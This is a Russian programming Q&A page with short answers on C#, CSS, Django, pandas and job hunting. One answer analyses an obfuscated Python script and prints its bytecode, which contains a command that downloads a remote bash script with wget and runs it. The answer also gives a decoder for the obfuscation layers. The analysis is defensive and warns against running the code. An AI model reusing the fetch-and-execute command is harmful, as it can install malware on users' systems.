• Какой SSL-сертификат лучше использовать для стэйджинга?

    Let`s Encrypt , очевидно. Я вообще не понимаю, кому сейчас нужны покупные сертификаты, кроме банков и подобных структур, где наличие покупного сертификата вписано в регулятивные правила отрасли.
    Ответ написан
    Комментировать
  • Что означает оператор => в linq c#?

    vabka
    @vabka Куратор тега C#
    Токсичный шарпист
    Это не оператор, а стрелочка, которая отделяет аргументы анонимной функции от её тела.
    https://learn.microsoft.com/en-us/dotnet/csharp/la...

    Тоесть вот такой код создаёт функцию с единственным аргументом num, которая возвращает значение выражения num != 2.
    num=>num!=2

    Ведь эта строка на много проще

    Нет, не проще.

    Выбирай:
    var noTwo = nums.Where(x=>x != 2);
    // или
    var noTwo=from num in nums
                      where num!=2
                      select num;
    Ответ написан
    Комментировать
  • Как сделать эффект закруглений как на фото?

    @historydev Куратор тега JavaScript
    Острая аллергия на анимешников
    svg, clip-path
    Ответ написан
    2 комментария
  • C# и несколько CPU?

    Adler_lug
    @Adler_lug
    Возможно функция считает только физические ядра, а не логические.
    Под рукой оказался двухпроцессорник на E5-2687W v4 (12 физических ядер на проц) с выключенным HT.
    Вот этот код на .Net 8 под Linux определяет все 24 ядра:
    namespace CPU_Counter
    {
        internal class Program
        {
            static void Main(string[] args)
            {
                Console.WriteLine($"The number of processors on this computer is {Environment.ProcessorCount.ToString()}.");
            }
        }
    }

    При чем я ничего подобного не правил. Дефолтный консольный проект .Net 8.
    Ut9692W.png
    Ответ написан
    2 комментария
  • Как понять что я выучил основы C#?

    vabka
    @vabka Куратор тега C#
    Токсичный шарпист
    CLR via C# открывай и иди по порядку, если хочешь глубже знать.
    Если прям минимальный минимум, то:
    1. Все стандартные управляющие конструкции: условия, циклы, итд.
    2. Типы: примитивные, ссылочные, значимые. Работа со строками.
    3. ООП: интерфейсы, наследование. Отличия между прямым и виртуальным вызовом
    4. BCL
    5. Linq: query синтаксис и через методы-расширения. Linq to IEnumerable, Linq to IQueryable и различия. Лямбды, делегаты, замыкания.
    6. Потоки, таски, async/await. Понимание различий между асинхронностью и многопоточностью. Синхронизация потоков.
    7. Всякие кишки: IL, рефлексия, emit, как работает JIT, как работает сборщик мусора.

    В принципе этого достаточно для уверенного использования
    Ответ написан
    6 комментариев
  • Spring или Asp.net core для будущей работы?

    vabka
    @vabka Куратор тега ASP.NET
    Токсичный шарпист
    Зарплаты примерно и там и там если не одинаковые, то очень близкие.
    Вакансий на Java/Spring больше, чем на C#/ASP NET Core, но во втором случае и конкуренции меньше. В целом проблем с поиском работы нет.

    Я буду жабой, которая хвалит своё болото и предложу углубиться в ASP.NET Core.
    Мне C# кажется более перспективным языком и платформой чем Java. (хотя ещё я бы посмотрел на Kotlin)

    Но тебе всё равно следует посмотреть ситуацию на конкретно твоём рынке труда и принять окончательное решение.
    Учитывай, что ситуация за 3-4 года 10 раз может поменяться.
    Ответ написан
    2 комментария
  • Компания предлагает большу зп и торопит с выбором - это плохо или нет?

    vabka
    @vabka
    Токсичный шарпист
    Получил оффер от одной компании (банка) с неожиданно большой суммой, чуть ли не x2 от запрошенной

    Вероятно ты просто запросил сильно ниже рынка / стандартной ставки.
    Что за банк?
    Что за должность?

    Например, все этапы собеседований HR пыталась ставить близко друг к другу.

    А зачем растягивать?

    Просто дело в том, что помимо этой компании я ещё параллельно собеседуюсь в пару других, и там до оффера пока не дошло дело. Не хочется упустить шанс попасть в них из-за этой сомнительной вакансии) Если есть опытные работоискатели, подскажите, пожалуйта)

    Спроси у рекрутера, к чему такая срочность ответа и проинформируй, что ждёшь ответы и от других работодателей.
    Вполне возможно, что они просто боятся, что ты уйдёшь в другую компанию, когда на твой найм уже много часов было потрачено.
    Ответ написан
    Комментировать
  • Компания предлагает большу зп и торопит с выбором - это плохо или нет?

    @Drno
    Это с учетом kpi ? Или прям в окоад всё?
    Потому что если кпи, то очень похоже Вы этих денег не увидите
    Ответ написан
  • Как деплоить API?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Как можно задеплоить API для того чтобы он мог воспользоваться API и подключить к Фронтенду

    DRF - это просто библиотека для Django, так что проект на DRF деплоится точно так же, как обычное приложение на Django. В документации это описано.

    если я задеплою Backend проект, то другие могут получить доступ к нему, как от этого защититься?

    Никак. Только требовать от пользователей обязательной аутентификации и не принимать неавторизованных запросов.
    Ответ написан
    1 комментарий
  • Как сделать такой input type range?

    Get-Web
    @Get-Web Куратор тега CSS
    Front-End Developer
    Ответ написан
    Комментировать
  • Возможно ли в Django организовать разграничение доступа к view?

    @Everything_is_bad
    Подозреваю, что ничего такого нет
    есть, https://docs.djangoproject.com/en/5.0/topics/auth/... можно создать свои permissions, можно проверить их наличие, ну или вхождение в группу.
    Ответ написан
    1 комментарий
  • Как реализовать подобный паттерн на CSS?

    0xD34F
    @0xD34F Куратор тега CSS
    Ответ написан
    Комментировать
  • Как реализовать подобный паттерн на CSS?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    background: conic-gradient(at 2px 2px, #ccc 90deg, #888 90deg 180deg, #ccc 180deg 360deg)
        #{4px 4px} / #{4px 4px};
    Ответ написан
    Комментировать
  • Как зарегистрироваться в яндексе без номера телефона?

    @DmitryRed
    В Яндексе есть упрощённая регистрация. С помощью неё можно зарегистрироваться в Яндексе, используя только свою почту (причём можно использовать не только Яндекс Почту).
    Действуйте так:
    1) Зайдите на yandex.ru
    2) Нажмите на кнопку "Войти" (именно "Войти", а не "Зарегистрироваться")
    3) В открывшемся окне появятся две кнопки с полями для ввода: "Почта" и "Номер телефона". Выберите "Почта" и введите Ваш e-mail. Яндекс отправит на указанный электронный адрес код с подтверждением. И далее регистрация будет без номера телефона.
    Ответ написан
    2 комментария
  • Как импортировать модуль из другого каталога?

    @Everything_is_bad
    ты даже не пытаешься поискать ответ, надоело что его чуть ли не каждый день спрашивают
    Ошибка «No module named 'data.config'»?
    Почему не работает импорт?
    Ответ написан
    2 комментария
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Что это за неведомый слот?

    @Grand_turizmo
    Любитель поэкспериментировать с пк
    Похоже кто-то из китайцев обрезал планку ddr и продаёт её как ssd
    Ответ написан
    7 комментариев
  • Сквозная сортировка индексов DataFrame?

    Maksim_64
    @Maksim_64
    Data Analyst
    Ну с формулировкой вопроса ты подкачал, это переформатирование фрейма с элементами сортировки подсета данного фрейма. Вообще когда решаешь такую задачу, то индексы фрейма (колонки и индекс) будут тебе мешать, надо переводить подсет данных в numpy массив и там сортировать.

    Так или иначе, задачка простая, и решается в одну строчку кода, многими способами , например вот так
    df.loc[:,['A','B','C']] = np.sort(df[['A','B','C']].values,axis=1)

    Это изменит твой фрейм как ты хочешь, или определенными вариациями данного кода.
    Ответ написан
    Комментировать
  • Как реализовать интерактивную карту с зумом?

    VoidVolker
    @VoidVolker
    Dark side eye. А у нас печеньки! А у вас?
    Ответ написан
    Комментировать